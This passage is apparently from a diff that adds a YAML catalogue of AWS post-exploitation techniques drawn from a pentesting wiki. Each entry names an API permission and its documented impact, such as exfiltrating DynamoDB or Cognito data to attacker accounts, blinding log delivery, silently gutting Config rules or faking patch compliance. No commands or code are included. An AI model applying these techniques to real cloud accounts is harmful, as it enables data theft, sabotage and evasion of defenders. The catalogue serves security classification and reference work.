or publish access to authorized package repositories, which can expose private + packages or enable dependency poisoning when write access is also granted. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeartifact-post-exploitation/README.md#codeartifactgetpackageversionasset--direct-asset-download + technique: '`codeartifact:GetPackageVersionAsset` — direct asset download' + reason: 'Documented impact: Download a known private package asset, which may expose source code, compiled artifacts, + build configuration, or embedded credentials. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuildupdateproject-project-tags + technique: '`codebuild:UpdateProject` (project tags)' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuildupdateprojectvisibility--expose-a-private-projects-builds-to-the-internet + technique: '`codebuild:UpdateProjectVisibility` — expose a private project''s builds to the internet' + reason: 'Documented impact: Unauthenticated Internet disclosure of a private CodeBuild project''s build logs, + environment configuration, and artifacts — commonly leaking secrets, credentials, and source — via a single + management call. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuilddeleteproject + technique: '`codebuild:DeleteProject`' + reason: 'Documented impact: Loss of project configuration and service disruption for applications using the deleted + project. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuilddeletesourcecredentials + technique: '`codebuild:DeleteSourceCredentials`' + reason: 'Documented impact: Disruption of normal functioning for applications relying on the affected repository + due to the removal of source credentials. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codecommit-source-access-post-exploitation/README.md#codecommitgetfile-codecommitgetblob-codecommitgetcommit--read-targeted-repository-data + technique: '`codecommit:GetFile`, `codecommit:GetBlob`, `codecommit:GetCommit` — Read targeted repository data' + reason: 'Documented impact: Disclosure of private source files, embedded credentials, commit messages, repository + history metadata, and contributor PII. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codecommit-source-access-post-exploitation/README.md#codecommitgitpull--clone-private-repository-contents + technique: '`codecommit:GitPull` — Clone private repository contents' + reason: 'Documented impact: Disclosure of private source code, complete Git history, and credentials committed + now or in the past. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeguru-profiler-post-exploitation/README.md#codeguru-profilergetprofile--extract-private-code-structure-and-execution-paths + technique: '`codeguru-profiler:GetProfile` — extract private code structure and execution paths' + reason: 'Documented impact: Disclosure of private application structure and execution flows that can accelerate + source-informed exploitation, identify high-value handlers and reveal performance-sensitive or rarely exercised + paths. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeguru-profiler-post-exploitation/README.md#codeguru-profilerpostagentprofile--poison-aggregated-profiles-and-findings + technique: '`codeguru-profiler:PostAgentProfile` — poison aggregated profiles and findings' + reason: 'Documented impact: Integrity loss in performance profiles, recommendations and anomaly signals, potentially + concealing real activity or sending responders toward fabricated code paths. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetpipeline-codepipelinegetpipelineexecution--read-default-and-resolved-variables + technique: '`codepipeline:GetPipeline`, `codepipeline:GetPipelineExecution` — read default and resolved variables' + reason: 'Documented impact: Disclosure of pipeline/action configuration, plaintext variable defaults, and resolved + per-execution values. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinelistactionexecutions--read-resolved-action-configuration-and-output-variables + technique: '`codepipeline:ListActionExecutions` — read resolved action configuration and output variables' + reason: 'Documented impact: Disclosure of resolved provider parameters, artifact locations, build/deploy outputs, + and credentials or application secrets emitted as literal output variables. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idplistusers--cognito-idpadmingetuser--exfiltrate-the-user-directory + technique: '`cognito-idp:ListUsers` | `cognito-idp:AdminGetUser` — exfiltrate the user directory' + reason: 'Documented impact: Full disclosure of the application''s user directory — e-mail addresses, phone numbers, + verification state, group membership and custom authorization attributes — usable directly as a phishing target + list and as reconnaissance... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpsetlogdeliveryconfiguration--blind-wipe-the-user-pools-log-delivery + technique: '`cognito-idp:SetLogDeliveryConfiguration` — blind-wipe the user pool''s log delivery' + reason: 'Documented impact: Blinds the user pool''s own security telemetry — failed sign-ins, threat-protection + events and notification failures are no longer delivered anywhere — without touching CloudTrail, so the account + still looks fully instrumented. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpadminuserglobalsignout--cognito-idpadmindisableuser--lock-the-users-out + technique: '`cognito-idp:AdminUserGlobalSignOut` | `cognito-idp:AdminDisableUser` — lock the users out' + reason: 'Documented impact: Denial of service against the application''s entire user base — all sessions terminated + and, with AdminDisableUser, sign-in blocked until each account is re-enabled one by one. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpdeleteuserpooldomain--cognito-idpdeleteuserpool--destroy-the-identity-plane + technique: '`cognito-idp:DeleteUserPoolDomain` | `cognito-idp:DeleteUserPool` — destroy the identity plane' + reason: 'Documented impact: Irrecoverable loss of the application''s identity provider — all users, groups and + federated links gone, every deployed client pointing at a pool ID that no longer exists, and a released domain + prefix that a third party can... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#redirect-future-configuration-inventory-with-configputdeliverychannel + technique: Redirect future configuration inventory with `config:PutDeliveryChannel` + reason: 'Documented impact: A full, continuously-updated copy of the account''s configuration inventory (every + recorded resource''s state) is streamed to an attacker-controlled S3 bucket and/or SNS topic, with no iam:PassRole + needed for an... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#force-a-fixed-custom-evaluator-with-configstartconfigrulesevaluation + technique: Force a fixed custom evaluator with `config:StartConfigRulesEvaluation` + reason: 'Documented impact: Conditionally high: it cannot change evaluator code or role, but it re-runs an existing + custom rule''s Lambda on demand. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#neuter-a-rule-in-place-with-configputconfigrule-blind + technique: Neuter a rule in place with `config:PutConfigRule` (blind) + reason: 'Documented impact: A live security rule keeps existing (so inventory/"is the rule present" checks stay + green) but is silently gutted so it can never report NON_COMPLIANT again — quieter than deleting the rule. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-health-post-exploitation/README.md#read-patient-workflow-metadata-with-health-agentgetpatientinsightsjob + technique: Read patient-workflow metadata with `health-agent:GetPatientInsightsJob` + reason: 'Documented impact: Disclosure of regulated patient/workflow context (patient and clinician identifiers + plus encounter purpose), job progress, internal HealthLake endpoints, and S3 input/output locations. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#connectcreateparticipant--mint-a-live-chat-or-webrtc-participant-bearer + technique: '`connect:CreateParticipant` — Mint a live chat or WebRTC participant bearer' + reason: 'Documented impact: Join an active customer interaction as a custom chat participant or additional WebRTC + customer, receive live conversation content, send allowed messages/events, or obtain live meeting credentials + without a Connect user/CCP login. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-data-exchange-post-exploitation/README.md#dataexchangecreatedatagrant--dataexchangepublishtodatagrant--share-an-owned-data-set + technique: '`dataexchange:CreateDataGrant` + `dataexchange:PublishToDataGrant` — share an owned data set' + reason: 'Documented impact: Cross-account disclosure of every finalized revision in one already-owned Data Exchange + data set, potentially including future revisions while the grant remains active. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-data-exchange-post-exploitation/README.md#dataexchangecreatejob--dataexchangestartjob--export-file-assets + technique: '`dataexchange:CreateJob` + `dataexchange:StartJob` — export file assets' + reason: 'Documented impact: Copies selected file assets or revisions that the identity is already authorized to + read, either through a one-minute download URL or to an S3 destination it is authorized to write. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-databrew-stored-job-post-exploitation/README.md#databrewstartjobrun--execute-a-stored-data-transfer + technique: '`databrew:StartJobRun` — Execute a stored data transfer' + reason: The section documents the resource or service effect of `databrew:StartJobRun` — Execute a stored data + transfer, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#expand-an-existing-locations-path-with-datasyncupdatelocations3 + technique: Expand an existing location's path with `datasync:UpdateLocationS3` + reason: 'Documented impact: Exfiltration of additional objects within the location''s bucket that the stored DataSync + role can read, or writes/deletes in a broader destination prefix that the stored role can modify. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#delegated-copy-with-datasyncstarttaskexecution + technique: Delegated copy with `datasync:StartTaskExecution` + reason: 'Documented impact: Disclosure or replication of data that the caller cannot access at the source, using + the existing DataSync role. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectdescribevirtualinterfaces--describerouterconfiguration--recover-bgp-authentication-material + technique: '`directconnect:DescribeVirtualInterfaces` / `DescribeRouterConfiguration` — recover BGP authentication + material' + reason: 'Documented impact: Recovers a reusable BGP authentication credential and the corresponding peer configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectcreatedirectconnectgatewayassociationproposal--propose-an-attacker-dx-gateway-from-the-victim-account + technique: '`directconnect:CreateDirectConnectGatewayAssociationProposal` — propose an attacker DX gateway from + the victim account' + reason: 'Documented impact: After attacker-side acceptance and routing convergence, establishes a cross-account + hybrid path from attacker-controlled Direct Connect infrastructure toward prefixes behind the victim TGW/VGW. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectassociatemacseckey--updateconnection--weaken-link-layer-encryption + technique: '`directconnect:AssociateMacSecKey` / `UpdateConnection` — weaken link-layer encryption' + reason: 'Documented impact: Allows plaintext fallback or disables required MACsec where supported, reducing link + confidentiality/integrity for an on-path attacker. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md#dlmcreatelifecyclepolicy-iampassrole--recurring-cross-account-ebs-snapshot-sharing + technique: '`dlm:CreateLifecyclePolicy`, `iam:PassRole` — recurring cross-account EBS snapshot sharing' + reason: 'Documented impact: Repeatedly exposes snapshots of every matching EBS volume to an attacker-controlled + AWS account, including new snapshots created after the attacker loses access. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dms-post-exploitation/README.md#s3-target-redirection-with-dmsmodifyendpoint + technique: S3 target redirection with `dms:ModifyEndpoint` + reason: 'Documented impact: Exfiltration of data processed by a known DMS task to an attacker-readable S3 destination, + using the endpoint''s already-authorized service role. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dms-post-exploitation/README.md#dmsstartreplicationtask--execute-a-fixed-migration-through-stored-endpoint-roles + technique: '`dms:StartReplicationTask` — Execute a fixed migration through stored endpoint roles' + reason: 'Documented impact: Move a sensitive source database''s contents to an attacker-observable destination + by starting a preconfigured migration task — no iam:PassRole, no DMS describe permission, and no operator involvement + required. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-drs-mgn-post-exploitation/README.md#drsstartrecovery--drsupdatelaunchconfiguration--boot-a-copy-of-a-production-server + technique: '`drs:StartRecovery` (+ `drs:UpdateLaunchConfiguration`) — boot a copy of a production server' + reason: 'Documented impact: Full read access to the complete disk contents (secrets, credentials, databases) of + any replicated production server, by booting or cloning a disaster-recovery copy — no access to the source server + required. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-drs-mgn-post-exploitation/README.md#mgnstartexport--exfiltrate-the-migration-inventory-to-an-attacker-bucket + technique: '`mgn:StartExport` — exfiltrate the migration inventory to an attacker bucket' + reason: 'Documented impact: Cross-account exfiltration of the full server-migration inventory (a detailed map + of the target''s fleet), and — via test/cutover launches — the same full-disk access to replicated servers as + DRS. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbbatchgetitem + technique: '`dynamodb:BatchGetItem`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under known + keys. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbgetitem + technique: '`dynamodb:GetItem`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under a known + key. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbtransactgetitems + technique: '`dynamodb:TransactGetItems`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under known + keys. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbquery + technique: '`dynamodb:Query`' + reason: 'Documented impact: Disclosure of every matching record for a partition key, including credentials, tokens, + and PII. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbscan + technique: '`dynamodb:Scan`' + reason: 'Documented impact: Full table-data disclosure, including credentials, tokens, and PII. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbpartiqlselect + technique: '`dynamodb:PartiQLSelect`' + reason: The section documents the resource or service effect of `dynamodb:PartiQLSelect`, without a reusable AWS + principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable-dynamodbdescribestream-dynamodbgetsharditerator-dynamodbgetrecords + technique: '`dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`' + reason: 'Documented impact: Near-real-time disclosure of new and modified application data, credentials, tokens, + or PII. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#read-items-via-dynamodbupdateitem-and-returnvaluesall_old + technique: Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` + reason: 'Documented impact: Read arbitrary items from a table with only write permissions, enabling sensitive + data exfiltration when primary keys are known. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#read-items-via-update-in-dynamodbtransactwriteitems + technique: Read items via `Update` in `dynamodb:TransactWriteItems` + reason: 'Documented impact: Read arbitrary items (by primary key) from a table using only transactional write + privileges via the returned cancellation reasons. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable--dynamodbupdateitem--dynamodbquery-on-gsi + technique: '`dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI' + reason: 'Documented impact: Full table exfiltration by querying a newly created GSI that projects all attributes, + even when base table read APIs are denied. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbexporttabletopointintime-and-dynamodbupdatecontinuousbackups-if-pitr-is-disabled + technique: '`dynamodb:ExportTableToPointInTime` (and `dynamodb:UpdateContinuousBackups` if PITR is disabled)' + reason: This heading concerns reading or exporting data via `dynamodb:ExportTableToPointInTime` (and `dynamodb:UpdateContinuousBackups` + if PITR is disabled); it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbrestoretablefrombackup-and-dynamodbcreatebackup-to-create-a-source-backup + technique: '`dynamodb:RestoreTableFromBackup` (and `dynamodb:CreateBackup` to create a source backup)' + reason: The section documents the resource or service effect of `dynamodb:RestoreTableFromBackup` (and `dynamodb:CreateBackup` + to create a source backup), without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable-replica-updates--dynamodbcreatetablereplica + technique: '`dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`' + reason: 'Documented impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbenablekinesisstreamingdestination-continuous-exfiltration-via-kinesis-data-streams + technique: '`dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)' + reason: 'Documented impact: Continuous, near real-time exfiltration of table changes to an attacker-controlled + Kinesis stream without direct read operations on the table. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbrestoretablefrombackup-dynamodbrestoretabletopointintime-and-dynamodbrestoretablefromawsbackup-for-aws-backup-recovery-points + technique: '`dynamodb:RestoreTableFromBackup`, `dynamodb:RestoreTableToPointInTime` (and `dynamodb:RestoreTableFromAwsBackup` + for AWS Backup recovery points)' + reason: 'Documented impact: Recreate the table''s data — at a chosen past timestamp — under a new name the attacker + controls, reading historical values that may have since been rotated or deleted from production. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbputitem + technique: '`dynamodb:PutItem`' + reason: 'Documented impact: Replacing an entire existing item or inserting a crafted item can corrupt application + state and enable downstream authorization or business-logic abuse. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdateitem + technique: '`dynamodb:UpdateItem`' + reason: 'Documented impact: Targeted attribute changes—or creation of a record when the supplied key does not + exist—can alter application behavior without replacing the whole item. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbdeletetable + technique: '`dynamodb:DeleteTable`' + reason: 'Documented impact: Data loss and disruption of services relying on the deleted table. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbdeletebackup + technique: '`dynamodb:DeleteBackup`' + reason: 'Documented impact: Data loss and inability to recover from a backup during a disaster recovery scenario. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetimetolive + technique: '`dynamodb:UpdateTimeToLive`' + reason: 'Documented impact: Set a TTL on an attribute to make DynamoDB silently delete items in bulk — stealthy, + gradual data destruction that looks like normal expiry rather than an attack. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmputresourcepolicy--share-a-securestring-parameter-with-another-account + technique: '`ssm:PutResourcePolicy` — share a SecureString parameter with another account' + reason: 'Documented impact: Continuous read access to the parameter''s value — database passwords, API tokens, + private keys — from an account the defender does not control, without the secret ever being read by a principal + inside the victim account. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmmodifydocumentpermission--publish-an-ssm-document-to-the-world + technique: '`ssm:ModifyDocumentPermission` — publish an SSM document to the world' + reason: 'Documented impact: Public or cross-account disclosure of the document''s content and of any secret, internal + hostname or deployment detail embedded in it; used in reverse, it breaks automation in every account that depended + on the share. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#malicious-vpc-mirror---ec2describeinstances-ec2runinstances-ec2createsecuritygroup-ec2authorizesecuritygroupingress-ec2createtrafficmirrortarget-ec2createtrafficmirrorsession-ec2createtrafficmirrorfilter-ec2createtrafficmirrorfilterrule + technique: '**Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, + `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirror' + reason: 'Documented impact: Full packet capture of every victim instance''s inbound and outbound traffic — session + tokens, internal API calls, database queries and any plaintext credential on the wire — with nothing installed + on the targets. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2enableaddresstransfer--hand-a-public-ip-to-another-account + technique: '`ec2:EnableAddressTransfer` — hand a public IP to another account' + reason: 'Documented impact: Permanent loss of a public IP address to an attacker-controlled account, plus impersonation + of the victim to everyone who trusts that address — DNS records, partner allowlists and IP reputation all continue + to resolve to it. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifysecuritygrouprules--widen-an-existing-rule-in-place + technique: '`ec2:ModifySecurityGroupRules` — widen an existing rule in place' + reason: 'Documented impact: Internet-wide exposure of any port already allowed to a narrow range, applied in a + way that preserves rule identity and count and carries a plausible approval note — bypassing most security-group + drift and review tooling. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2authorizesecuritygroupingress + technique: '`ec2:AuthorizeSecurityGroupIngress`' + reason: 'Documented impact: Direct network exposure of internal services (databases, admin panels, management + ports) to the Internet or to attacker-chosen networks. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2replacenetworkaclentry + technique: '`ec2:ReplaceNetworkAclEntry`' + reason: 'Documented impact: Exposes or severs an entire subnet at once — a far larger blast radius than a security-group + change, affecting every current and future instance in it. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#quick-local--remote-port-forward-aws-startportforwardingsession + technique: Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) + reason: 'Documented impact: Turns any SSM-managed instance into a pivot, reaching private services — internal + APIs, databases, EKS control planes — that are unreachable from the attacker''s network and protected by security + groups and NACLs. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyvpcendpoint--rewrite-a-restrictive-vpc-endpoint-policy + technique: '`ec2:ModifyVpcEndpoint` — rewrite a restrictive VPC endpoint policy' + reason: 'Documented impact: Restores unrestricted access to the endpoint''s service for the whole VPC, re-enabling + data exfiltration from private subnets that have no other egress; inverted, it is a full denial of service for + every workload that depends... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#allowed-amis--ec2enableallowedimagessettings-ec2replaceimagecriteriainallowedimagessettings + technique: Allowed AMIs — `ec2:EnableAllowedImagesSettings`, `ec2:ReplaceImageCriteriaInAllowedImagesSettings` + reason: 'Documented impact: Removal or neutering of the account''s AMI provenance control, enabling instances + to be launched from attacker-published images — or, inverted, a Region-wide block on all new instance launches. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2disableimageblockpublicaccess--ec2enablesnapshotblockpublicaccess--flip-the-public-sharing-guardrails + technique: '`ec2:DisableImageBlockPublicAccess` | `ec2:EnableSnapshotBlockPublicAccess` — flip the public-sharing + guardrails' + reason: 'Documented impact: Removes the last account-level control preventing AMIs and EBS snapshots — and therefore + whole disk images, including their credentials and data — from being shared with the entire internet; inverted, + it revokes existing... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmputcomplianceitems--fabricate-patch-compliance + technique: '`ssm:PutComplianceItems` — fabricate patch compliance' + reason: 'Documented impact: Compliance dashboards, audit evidence and any alerting built on SSM compliance become + untrustworthy — unpatched or compromised hosts are reported as healthy, or responders are flooded with fabricated + critical findings. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2delete + technique: '`ec2:Delete*`' + reason: 'Documented impact: Immediate service disruption and permanent data loss, plus destruction of forensic + evidence — deleted snapshots, AMIs, volumes and flow logs are unrecoverable. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createroute--ec2replaceroute--silent-traffic-redirection-and-blackholing + technique: '`ec2:CreateRoute` | `ec2:ReplaceRoute` — silent traffic redirection and blackholing' + reason: 'Documented impact: Man-in-the-middle over selected or all egress traffic from a subnet — TLS-terminating + proxy, credential capture, response tampering — or an immediate, silent blackhole of any chosen prefix. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyebsdefaultkmskeyid--own-the-key-that-protects-every-future-volume + technique: '`ec2:ModifyEbsDefaultKmsKeyId` — own the key that protects every future volume' + reason: 'Documented impact: Attacker control of the encryption key for all future EBS volumes and snapshots in + the Region — readable by the attacker, and destroyable at will — or, in the disable direction, silent removal + of encryption-at-rest for... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: 